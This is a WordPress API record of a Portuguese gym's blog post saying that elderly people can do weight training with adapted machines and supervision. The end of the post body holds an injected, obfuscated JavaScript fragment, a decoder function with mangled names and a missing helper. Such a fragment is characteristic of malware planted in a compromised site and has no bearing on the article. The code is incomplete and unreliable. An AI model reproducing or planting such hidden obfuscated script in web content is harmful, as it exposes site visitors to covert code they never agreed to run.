{"id":528,"date":"2018-10-01T14:15:28","date_gmt":"2018-10-01T17:15:28","guid":{"rendered":"http:\/\/renovamaringa.com.br\/portal\/?p=528"},"modified":"2018-10-01T14:15:28","modified_gmt":"2018-10-01T17:15:28","slug":"entrei-na-terceira-idade-posso-fazer-musculacao","status":"publish","type":"post","link":"https:\/\/renovamaringa.com.br\/portal\/entrei-na-terceira-idade-posso-fazer-musculacao\/","title":{"rendered":"Entrei na terceira idade, posso fazer muscula\u00e7\u00e3o?"},"content":{"rendered":"<p>Ainda existe muito preconceito quanto a essa quest\u00e3o, principalmente quando se trata de muscula\u00e7\u00e3o para Terceira Idade, por\u00e9m o proibido j\u00e1 virou lenda. De acordo com a Organiza\u00e7\u00e3o Mundial da Sa\u00fade (OMS), os melhores exerc\u00edcios para fortalecer os ossos e os m\u00fasculos para essa faixa de idade, s\u00e3o os <strong>exerc\u00edcios resistidos<\/strong> com pesos gradu\u00e1veis.<\/p>\n<p>Ent\u00e3o a resposta para essa pergunta \u00e9: <strong>SIM! Voc\u00ea pode fazer muscula\u00e7\u00e3o.<\/strong><br \/>\nN\u00e3o importa a idade, desde que os exerc\u00edcios sejam adaptados individualmente.<br \/>\nPensando nisso, n\u00f3s disponibilizamos aparelhos adaptados para a Terceira Idade, respeitando os limites de cada idoso, afim de que o aluno obtenha os resultados desejados, sejam eles quais forem: reabilita\u00e7\u00e3o, preven\u00e7\u00e3o, melhora da for\u00e7a muscular, al\u00edvio de dores musculares e articulares, entre outros.<\/p>\n<p>Para que isso ocorra, contamos com profissionais qualificados, que auxiliam os alunos do come\u00e7o ao fim de cada aula, a fim de garantir um melhor desempenho nos movimentos, evitando que o aluno lesione.<\/p>\n<p>Gostou? Marque uma aula experimental e venha nos conhecer!<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ainda existe muito preconceito quanto a essa quest\u00e3o, principalmente quando se trata de muscula\u00e7\u00e3o para Terceira Idade, por\u00e9m o proibido j\u00e1 virou lenda. De acordo com a Organiza\u00e7\u00e3o Mundial da Sa\u00fade (OMS),<a class=\"moretag\" href=\"https:\/\/renovamaringa.com.br\/portal\/entrei-na-terceira-idade-posso-fazer-musculacao\/\">Read More&#8230;<\/a><\/p>\n","protected":false},"author":1,"featured_media":529,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[5],"tags":[],"class_list":["post-528","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-saude"],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2018\/10\/Terceira-Idade.jpg?fit=900%2C636&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p8NC8B-8w","jetpack-related-posts":[],"jetpack_likes_enabled":true,"_links":{"self":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/528","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/comments?post=528"}],"version-history":[{"count":1,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/528\/revisions"}],"predecessor-version":[{"id":530,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/528\/revisions\/530"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/media\/529"}],"wp:attachment":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/media?parent=528"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/categories?post=528"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/tags?post=528"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}